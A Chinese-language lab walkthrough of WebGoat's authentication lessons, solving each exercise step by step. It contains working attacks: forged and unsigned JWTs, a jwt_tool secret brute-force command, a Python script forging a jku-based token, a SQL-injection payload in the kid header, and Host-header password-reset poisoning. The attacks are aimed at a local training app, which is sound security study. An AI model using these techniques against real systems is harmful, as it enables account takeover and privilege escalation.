ldentity & Auth Failure

Authentication Bypasses

2

绕过安全问题验证。

首先,随便填,提交,查看正常情况下的请求和响应数据。

参考当前页面上的案例,删除请求参数,无效。

看到网页有隐藏代码,取消隐藏,试一下提交,也不行。

实在不知道了,看提示:改参数名。这都行?

Insecure Login

2

单击“登录”按钮会发送包含一个用户命名的的登录请求。然后,将这个请求中的用户名密码填入下面相应的输入框,然后提交。

JWT tokens

4

解码JWT令牌,找到用户名。

可以使用WebWolf。

6

尝试更改您收到的JWT令牌,并通过修改令牌成为管理员,然后以管理员身份重置投票。

默认是Guest用户,返回的响应头中access_token是空的,那我们切换一下其他的用户试试。

切换为Tom后发现,返回了access_token。点击重置按钮,提示没权限。

解码JWT看一下。

直接把 "admin" : "false"改成 "admin" : "true",重新编码JWT,并且删除第三段加密的验证字符串。

然后,替换cookie里的access_token值的JWT,重发重置投票的请求试一下。

注意:JWT字符串最后的点 .

搞定了,这也说明后端没有校验JWT的签名。所以,这里的签名算法也可以随意写。

8

审计代码,考虑如何使用 alg: none 来进行攻击,并回答问题。

该死的,受不了了,总是看不到题目,直接改代码解决,一劳永逸。翻了半天找到了要修改的文件:src/main/resources/webgoat/templates/lesson_content.html
修改后的内容如下,其实就是加了一行 jquery的引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">

<script src="https://cdn.staticfile.org/jquery/3.4.1/jquery.min.js"></script>

<!-- Model is setup in the class StartLesson -->
<div id="lessonInstructions"></div>

<div id="message" class="info" th:utext="${message}"></div>
<br/>

<div th:replace="~{lesson:__'lessons/' + ${lesson.package} + '/html/' + ${lesson.id} + '.html'__}"></div>

</html>

parseClaimsJws会校验签名,parse不会校验签名。

题目正确选项:1, 2

11

JWT密钥 secret key 爆破。

爆破密钥,修改username为WebGoat,然后重新编码JWT提交。

使用开源工具 jwt_tool 爆破。爆破字典最重要,我用的这个 jwt.secrets.list 字典。

1
python jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMzMyNjI1MywiZXhwIjoxNzAzMzI2MzEzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.Qxp09BG06dpmiau_wKJT98XOrtNHQJtA0H6bTIE8YaA -C -d jwt.secrets.list

通过WebWolf,修改 "username" : "WebGoat",然后用这个密钥 business 重新签名,得到新的JWT字符串。

1
eyJhbGciOiJIUzI1NiJ9.ew0KICAiRW1haWwiIDogInRvbUB3ZWJnb2F0Lm9yZyIsDQogICJSb2xlIiA6IFsgIk1hbmFnZXIiLCAiUHJvamVjdCBBZG1pbmlzdHJhdG9yIiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTcwMzMyNjMxMywNCiAgImlhdCIgOiAxNzAzMzI2MjUzLA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJ0b21Ad2ViZ29hdC5vcmciLA0KICAidXNlcm5hbWUiIDogIldlYkdvYXQiDQp9.DMgYOUmYXB6uFy-0YALqY0fxBaqvalavcSSGeFyNaE0

提交后报错,说JWT超时失效了。那就改一下过期时间吧。

修改exp值远远大于iat即可(其实是要大于当前的时间戳)。提交新的JWT字符串。

1
eyJhbGciOiJIUzI1NiJ9.ew0KICAiRW1haWwiIDogInRvbUB3ZWJnb2F0Lm9yZyIsDQogICJSb2xlIiA6IFsgIk1hbmFnZXIiLCAiUHJvamVjdCBBZG1pbmlzdHJhdG9yIiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTcwMzUyNjMxMywNCiAgImlhdCIgOiAxNzAzMzI2MjUzLA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJ0b21Ad2ViZ29hdC5vcmciLA0KICAidXNlcm5hbWUiIDogIldlYkdvYXQiDQp9.sxpHDXqcIvK1gGoZBoa_bFwrn0zqMKvBe1-OS-qL_Is

13

日志文件中记录了一次入侵。需要从中找到一种方法,来订购这些书,但让 Tom支付。

日志内容:

1
2
3
4
5
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

可以发现日志中记录了一条包含token的请求,该token的值明显是一个JWT字符串。解码一下看看,确实是Tom用户。

先点击checkout,查看请求数据。

然后替换请求头中的Authorization为这个日志中Tom用户的JWT字符串,重新发包。

发现数据包很古老,都是2018年的了,已经超时失效了。那还是改失效时间 exp 试试吧。

16

有两个账户,一个是 Jerry账户,另一个是 Tom账户。Jerry想从推特上删除 Tom的账户,但使用他自己的token只能删除他自己的账户。需要通过修改删除 Jerry账号请求中的token来实现删除 Tom的帐号。

分别点两个账号的delete,发现发出的请求的token参数是一样的。

但都是404?什么鬼?看了下源码,路由路径应该是 /JWT/jku而不是 /JWT/final,又是一个该死的bug!

那先修复bug。需要修改的文件:src/main/resources/lessons/jwt/html/JWT.html 。将 final改为 jku即可。改完源码,重新编译代码启动。

开始解题。先解密一下请求数据中的token看看。确实是Jerry的账号信息,而且JWT header里有个 jku

JKU 是 JWT 规范的一部分,它允许 JWT 使用者获取动态验证令牌签名所需的公钥。它是指向 JSON Web 密钥集 (JWKS) 端点的 URL,其中包含颁发者用于对 JWT 进行签名的公钥。JKU(JWK Set URL)表示把公钥放在 URL 中通过访问 URL 来获取密码进行签名,这样就可以灵活切换密钥。

通过返回数据得知,服务器后端会访问 jku的这个链接地址来获取 jwks

JWKS Endpoint 是一种更加高效的管理和分发密钥的机制。JWKS Endpoint 本质上就是一个 HTTP Server,它响应 GET 请求,然后返回 JWKS(Json Web Key Set),JWKS 是用一个 JSON 对象表示的一组 JWK,该 JSON 对象只包含一个 keys 成员,keys 的值是由一个或多个 JWK 组成的 JSON 数组。更多相关的知识可以参考此处

我们首先使用 RSA256 算法签发了一组密钥对,然后使用这组密钥对中的私钥签发了一个 JWT,同时将公钥以JWKS的形式分发用于验证签名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from jwcrypto import jwk, jwt
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

# JWKS私钥
SAVE_TO_PRIVATE = "./private.json"
# JWKS公钥
SAVE_TO_PUBLIC = "./jwks.json"

def issue_jws(key, alg, claims):
# JWT header
# header['jku'] 设置为提供jwks.json文件的WebWolf服务器地址!
header = {}
header['alg'] = alg
header['typ'] = 'JWT'
header['jku'] = 'http://www.webwolf.local:9090/WebWolf/files/admin12138/jwks.json'
header['kid'] = get_kid(key)
token = jwt.JWT(header = header, claims = claims)
token.make_signed_token(key)
return token.serialize()

def generate_jwks(number):
jwks = []
for kid0 in range(1, number + 1):
kid = str(kid0)
key = jwk.JWK.generate(kty = 'RSA', size = 2048, alg = 'RSA256', use = 'sig', kid = kid)
jwks.append(key)

return jwks

def get_kid(key):
return key.export(private_key = False, as_dict = True).get("kid")

def save_private_jwks(jwks):
private_file = open(SAVE_TO_PRIVATE, mode = 'w')
private_keys = []
for jwk in jwks:
private_keys.append(jwk.export(private_key = True, as_dict = True))

json.dump({"keys": private_keys}, private_file)
private_file.close()

def load_public_jwks():
private_file = open(SAVE_TO_PRIVATE, mode = 'r')
jwks = jwk.JWKSet.from_json(private_file.read())
private_file.close()
return jwks.export(private_keys = False)

def save_public_jwks(jwks):
public_file = open(SAVE_TO_PUBLIC, mode = 'w')
public_file.write(jwks)
public_file.close()

if __name__ == "__main__":
# 使用 RSA 算法签发了一组密钥对
jwks = generate_jwks(1)

# JWT payload
# exp 记得改大一点,免得过期失效了 !
# username 改为 Tom !
claims = {
"Email" : "jerry@webgoat.com",
"Role" : [ "Cat" ],
"aud" : "webgoat.org",
"exp" : 2618905304,
"iat" : 1524210904,
"iss" : "WebGoat Token Builder",
"sub" : "jerry@webgoat.com",
"username" : "Tom"
}
# 使用这一组密钥对中的私钥签发一个 JWT
jwt = issue_jws(jwks[0], 'RS256', claims)
print("[JWT]\n%s\n" % (jwt))

# 保存jwks私钥
save_private_jwks(jwks)

# 输出jwks公钥
public_jwks = load_public_jwks()
print("[JWKS]\n%s\n" % (public_jwks))
# 保存jwks公钥
save_public_jwks(public_jwks)

运行上面的代码,将在命令行输出我们解决此题目需要的 JWT 和 JWKS,这个JWKS同时也会自动保存为jwks.json便于解题使用。

将这个jwks.json文件上传到WebWolf。再次提醒一下,这个上面代码里的json文件路径一定要和这里的一致。

然后替换原来的请求数据中的token,重新发包即可。

18

同上,需要通过修改删除Jerry账号请求中的token来实现删除Tom的帐号。

点击删除,查看请求和响应。

解码JWT。看到在JWT header中存在kid属性。

密钥 ID(kid) 指示应使用 JSON Web 密钥集 (JWKS) 中的哪个密钥来验证 JWT 的签名。如果滥用,攻击者可以利用此漏洞获得对敏感资源的未经授权的访问或执行权限提升。

随便修改kid。记得修改exp避免过期失效。

从响应信息中发现,需要对JWT进行签名认证。

签名用的 secret key应该是根据 kid在后台查询数据库得到的。

那么这个 kid是否存在SQL注入漏洞,使得我们可以控制这个认证用的 secret key呢?

直接用 union select查询来控制 secret key为自定义的值,比如 password

尝试在JWT header的kid属性中进行SQL注入:

1
"kid": "webgoat_key0' union select 'password' from INFORMATION_SCHEMA.SCHEMATA-- "

替换token,重新发包,搞定。

Password reset

2

首先启动WebWolf。点击登录按钮下面的忘记密码重置链接,发送电子邮件至 你的WebGoat用户名@webgoat.org。打开WebWolf,使用电子邮件中提供的密码登录。

然后使用邮箱作为用户名,这个邮件里的 unique code值作为密码登录即可。

4

安全问题验证。

大多数时候,安全问题列表包含固定数量的问题,有时甚至只有有限的答案。为了使用此功能,用户应该能够自己选择问题并键入答案。这样,用户就不会分享这个问题,这会给攻击者带来更大的困难。

如果用户能够正确回答这个秘密问题,他们就可以检索密码。此“忘记密码”页面上没有锁定机制。你的用户名是 webgoat,你最喜欢的颜色是 red。目标是检索另一个用户的密码。您可以尝试的用户有:tomadminlarry

所以,尝试穷举颜色问题的答案,即所有颜色?这里测试一些常见的颜色,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
white
yellow
orange
pink
red
brown
green
blue
purple
gray
black
silver
gold

那么,对三个用户分别爆破颜色问题的答案。

5

“完美”的安全问题应该很难破解,但很容易记住。答案也需要固定,所以它不能改变。

只有少数几个问题符合这些标准,实际上没有一个问题适用于任何人。

如果您必须选择安全问题,我们建议您不要如实回答。

随便选择个下拉菜单的问题后点check,重复一次(别选一样的),就过了,单纯科普题目。

6

尝试重置Tom的密码(tom@webgoat-cloud.org),并使用该密码以Tom身份登录。注意,Tom总是在收到带有链接的电子邮件后立即重置密码。

给自己的邮箱发了俩邮件,token没啥规律,找不出攻击点。

1
2
http://www.webgoat.local:8080/WebGoat/PasswordReset/reset/reset-password/02b5060b-b3c5-4041-a6f4-6cb1d11c80de
http://www.webgoat.local:8080/WebGoat/PasswordReset/reset/reset-password/0686b9ae-524d-41ca-baa5-6a79dcbbb8ba

看提示,说可以通过请求头中的Host来控制重置密码地址的URL。难道说后端是根据请求数据的请求头来构造的邮件中的重置地址?

改了一下请求头的Host,给自己发邮件,发现确实影响了重置密码链接。

那直接把请求的 Host改成WebWolf的地址 127.0.0.1:9090,因为访问WebWolf的请求会被记录。当Tom点击重置密码链接的时候,就会访问WebWolf的页面被记录下来,我们就可以拿到他重置密码的链接了。

以tom身份的邮箱 tom@webgoat-cloud.org发送重置邮件,并修改Host。

注意,由于我们修改了原来请求的Host,所以应该替换此处的服务器地址才能得到正确的重置密码链接。

1
2
3
4
5
# 记录的请求
http://127.0.0.1:9090/WebWolf/PasswordReset/reset/reset-password/4b4790e1-d32b-410e-8154-be800317acd7

# 正确的重置密码地址
http://www.webgoat.local:8080/WebWolf/PasswordReset/reset/reset-password/4b4790e1-d32b-410e-8154-be800317acd7

修改密码提交,返回404。看了下请求的路径明显有问题,不知道是bug还是咋的。

直接修改请求路径,重新发包,重置密码成功。

用tom的邮箱账号和重置后的密码登录,搞定。

Secure Passwords

4

输入一个足够复杂的强密码。

数字+字母大小写+特殊字符,大于8位,基本就安全的一批。提交,搞定。